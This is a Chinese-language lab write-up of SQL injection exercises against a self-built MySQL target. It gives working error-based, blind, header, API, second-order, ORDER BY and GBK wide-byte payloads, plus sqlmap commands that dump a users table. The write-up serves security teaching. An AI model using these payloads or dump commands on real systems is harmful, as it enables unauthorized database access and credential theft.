这篇文章记录一次我在 自建 SQL 注入靶场中的完整渗透过程。
整个靶场主要涉及几种经典 SQL 注入类型:
- 报错注入(Error Based)
- 布尔盲注(Boolean Blind)
- HTTP Header 注入
- API 接口注入
- 二阶注入(Second Order Injection)
本文尽量按照 真实渗透过程进行记录,同时也会加入一些思路解释,方便刚接触 SQL 注入的朋友理解。
实验环境
攻击机环境:
Kali Linux
主要使用工具:
Burp Suite
sqlmap
浏览器
目标靶场:
自建 SQL 注入靶场
靶场地址:
http://10.10.1.97:8085
数据库类型:
MySQL
第三靶场:报错注入
进入靶场后,可以发现输入框会返回数据库报错信息,这基本可以判断为 报错注入。
MySQL 中常见用于报错注入的函数有:
updatexml()
extractvalue()
这里使用的是 updatexml()。
首先获取当前数据库名:
' and updatexml(1, concat(0x7e, (database()), 0x7e), 1) --
这里的思路是:
database()获取数据库名concat()拼接字符串0x7e是~updatexml()在 XML 解析失败时会返回报错- 报错内容中就会包含我们拼接的数据
执行后页面会回显数据库名。

接下来开始枚举表名。
正常情况下可以直接使用 group_concat():
' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='sqli_labs'), 0x7e), 1) --
这里利用了:
information_schema.tables
用于获取数据库中的所有表。
但是这个靶场有个问题:
报错信息长度有限制,表名无法完整显示。
因此改用 limit 枚举表名。
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='sqli_labs' limit 8,1), 0x7e), 1) --
最终在 第八张表发现:
sys_users

接下来开始枚举字段。
' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='sys_users' limit 1,1), 0x7e), 1) --
成功发现字段:
username
password

最后开始读取数据:
' and updatexml(1, concat(0x7e, (select concat(username, 0x3a, password) from sys_users limit 0,1), 0x7e), 1) --
成功获取账号密码:
admin:0192023a7bbd73250516f069d
破解后得到:
admin123

第四靶场:布尔盲注
进入第四靶场后,可以发现页面没有明显报错,但是 页面内容会发生变化。

通过简单测试发现存在注入:
YX-2020-001' AND 1=1
YX-2020-001' AND 1=2
当条件成立和不成立时页面不同。
这说明这里是 布尔盲注。

为什么不手工盲注
布尔盲注的原理是:
通过 大量 True / False 判断逐位获取数据。
例如:
判断数据库名长度
判断字符 ASCII
逐字符猜解
这种方式如果手工操作:
- 非常慢
- 容易出错
因此一般直接使用 sqlmap 自动化。
使用 sqlmap 获取数据库
首先跑数据库:
sqlmap -u " http://10.10.1.97:8085/employee?emp_no=YX-2020-001 " --dbs --batch
参数解释:
-u 指定目标 URL
--dbs 枚举数据库
--batch 自动回答所有问题
枚举表
sqlmap -u " http://10.10.1.97:8085/employee?emp_no=YX-2020-001 " -D sqli_labs --tables --batch
参数解释:
-D 指定数据库
--tables 枚举表
枚举字段
sqlmap -u " http://10.10.1.97:8085/employee?emp_no=YX-2020-001 " -D sqli_labs -T sys_users --columns --batch
参数说明:
-T 指定表
--columns 枚举字段
导出数据
sqlmap -u "http://10.10.1.97:8085/employee?emp_no=YX-2020-001" -D sqli_labs -T sys_users -C "username,password" -dump --batch
参数解释:
-C 指定字段
-dump 导出数据
最终成功获取数据库用户信息。
第六靶场:HTTP Header 注入
这一关是 HTTP 头注入。
页面对提交的内容进行了过滤,但是 HTTP Header 没有过滤。
尤其是:
X-Forwarded-For
使用 Burp 进行手动注入
首先使用 Burp Suite 抓包。
在请求头中加入:
X-Forwarded-For: 1' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
这时候数据库会返回报错信息,从而泄露数据库名。

使用 sqlmap 自动化
这里可以把 Burp 抓到的请求保存为:
header.txt
然后交给 sqlmap:
sqlmap -r header.txt --technique E --dbms mysql --level 5 --risk 3 --parse-errors --batch -D sqli_labs --tables
参数解释:
-r 从请求文件读取
--technique E 只使用报错注入
--dbms mysql 指定数据库
--level 5 提高检测等级
--risk 3 提高风险等级
--parse-errors 解析数据库报错

获取数据
sqlmap -r header.txt --technique E --level 5 --risk 3 -D sqli_labs -T sys_users -C "username,password" -dump --batch
成功获取数据库数据。

第七靶场:API 接口注入
这一关是 API 接口注入。
首先使用 Burp 抓包。
发送请求:
POST /api/v1/user/info
输入 payload:
' or '1'='1
观察返回报错:

near '' or '1'='1'
这里有一个重要信息:
报错是从 单引号开始的。
这说明后端 SQL 可能是:
SELECT * FROM users WHERE user_id = $user_id
也就是说 user_id 没有加引号。
这就是典型的 数字型注入。
直接构造注入
1 or 1=1
成功返回数据。

确定列数

接下来使用:
-1 union select 1,2,3,4,5,6,7
成功确定列数为:
7
获取表名
{"user_id": "-1 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='sqli_labs'"}
获取字段
{"user_id": "-1 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='sys_users'"}
获取数据
{"user_id":"-1 union select 1,group_concat(username,password),3,4,5,6,7 from sys_users"}

第八靶场:二阶注入
二阶注入和普通 SQL 注入不太一样。
核心原理:
它的核心逻辑是:恶意数据在第一次被存入数据库时是“安全”的(被转义了),但在第二次被读取并使用时,它成为了攻击载荷。
注入过程非常简单
在“用户名”框输入 admin'#(其实只要前面是admin’ 后面注释掉就可以,中间是什么都无所谓,详见下面的后端解释)
密码随便设(如 123456),邮箱随便填。
点击“注册”。


后端发生了什么
后端代码流程大概是:
admin'#
进入程序
程序执行:
addslashes()
变成
admin\'#
数据库执行:
INSERT INTO users (username, ...) VALUES ('admin\'#')
数据库存储时会去掉转义符
最终数据库中保存的是:
admin'#
当程序再次使用这个用户名拼接 SQL 时:
SQL 就会被截断,从而产生注入。
第九靶场:ORDER BY 注入

这一关是一个比较经典但也比较容易忽略的 ORDER BY 注入场景。
很多人在做 SQL 注入时习惯直接使用 UNION SELECT,但这里有一个关键点:
在 SQL 语法中:
ORDER BY 后面是不能直接接 UNION 的
正常 SQL 语句:
SELECT * FROM products ORDER BY price
如果存在注入点,SQL 可能变成:
SELECT * FROM products ORDER BY [用户输入]
也就是说,我们的 payload 会被直接拼接到 ORDER BY 后面。
但是由于 ORDER BY 不允许直接 UNION 查询,所以无法像普通 SQL 注入一样直接回显数据。
因此需要采用另外一种思路:
利用数据库报错来回显数据
方法一:利用报错注入
如果后端没有关闭数据库错误信息,那么 报错注入就是最快的方式。
常见的 MySQL 报错函数:
updatexml()
extractvalue()
这里使用 updatexml()。
获取数据库名
在 URL 的 sort 参数后构造 payload:
?sort=updatexml(1,concat(0x7e,(select database()),0x7e),1)
原理:
database() 获取数据库名
concat() 拼接字符串
0x7e ~ 用于标识数据
updatexml() 解析 XML 报错
数据库报错信息中会包含我们拼接的数据。

获取表名
接下来枚举数据库中的表:

http://10.10.1.97:8085/products?sort=updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() ),0x7e),1)
这里利用的是:
information_schema.tables
用于获取数据库中的所有表。
但是这个靶场有一个限制:
报错信息长度有限
因此无法一次性显示所有表名。
所以需要使用 limit 逐个枚举。
逐个枚举表名
http://10.10.1.97:8085/products?sort=updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 8,1),0x7e),1)
最终在第 八个表中发现:
sys_users
后续步骤和前面靶场基本一致:
枚举字段
读取数据

方法二:使用 SQLMap 自动化
如果不想手动枚举,也可以直接使用 sqlmap。
命令如下:
sqlmap -u "http://10.10.1.97:8085/products?sort=price*" --technique E --level 5 --risk 3 --batch --dbs
参数解释:
-u 指定目标URL
--technique E 只使用报错注入
--level 5 提高检测等级
--risk 3 提高攻击强度
--batch 自动回答问题
--dbs 枚举数据库
获取数据库数据
继续执行:
sqlmap -u "http://10.10.1.97:8085/products?sort=price*" --technique E --level 5 --risk 3 --batch -D sqli_labs -T sys_users -C "username,password" -dump
参数说明:
-D 指定数据库
-T 指定表
-C 指定字段
-dump 导出数据
SQLMap 会自动完成:
枚举数据库
枚举表
枚举字段
导出数据


第十靶场:宽字节注入
这一关是 宽字节注入(Wide Byte Injection)。
这种漏洞利用的是:
字符编码差异
来绕过服务器的过滤机制。

漏洞原理分析
很多 Web 程序会使用:addslashes()来防止 SQL 注入。
例如输入:
'
会被转换成:
\'
在十六进制中:
' = 0x27
\ = 0x5c
因此:
' → 5c 27
这样单引号就被转义了,无法再闭合 SQL 语句。
GBK 编码特性
GBK 是一种 双字节编码。
规则是:
如果第一个字节在 0x81–0xFE
数据库会强行把后面一个字节一起解析
例如:
df 5c
在 GBK 中会被认为是 一个汉字。
攻击过程
攻击思路是:
在单引号前加入:
%df
payload 变成:
%df'
经过 addslashes() 处理后:
%df\'
十六进制:
df 5c 27
当数据库使用 GBK 解析 时:
df 5c → 一个汉字
结果:
反斜杠被吞掉
单引号重新出现:
27
于是 SQL 语句重新被闭合,注入成功。
为什么不能直接在登录框注入

这里有一个很重要的细节:
浏览器输入的是字符
Burp 修改的是字节
浏览器会自动进行 URL 编码,因此 payload 可能被改变。
所以宽字节注入一般需要:使用 Burp Suite 修改原始请求
使用 SQLMap 自动化
SQLMap 内置了处理宽字节注入的 tamper 脚本。
命令如下:
sqlmap -u "http://10.10.1.97:8085/admin/login" --data "username=admin&password=123" --tamper=unmagicquotes --dbs --batch
参数解释:
--data 指定 POST 请求参数
--tamper 使用绕过脚本
--tamper=unmagicquotes 绕过 addslashes()
--dbs 枚举数据库
--batch 自动回答问题
手动指定注入点
如果 SQLMap 没有识别到注入点,可以手动指定:
--data "username=admin%df*&password=123"
其中:
* 表示注入点
进阶技巧
如果 unmagicquotes 不生效,可以尝试:
--tamper=gbk.py
某些 SQLMap 版本包含该脚本,可以专门处理 GBK 宽字节问题。
总结
到这里整个 SQL 注入靶场基本就全部完成了。

本次靶场一共涉及多种 SQL 注入类型:
报错注入
布尔盲注
HTTP Header 注入
API 注入
二阶注入
ORDER BY 注入
宽字节注入
在真实渗透测试中,不同场景会使用不同的注入方式。
一些比较重要的经验:
报错注入效率最高
盲注建议直接使用 sqlmap 自动化
HTTP Header 注入经常出现在日志记录功能中
API 接口需要特别注意数字型注入
宽字节注入通常出现在 GBK 编码环境
ORDER BY 注入无法直接 UNION,需要借助报错
SQL 注入虽然是一个非常经典的漏洞,但在很多系统中仍然非常常见,因此在渗透测试中依然是非常重要的一个攻击面。
Comments NOTHING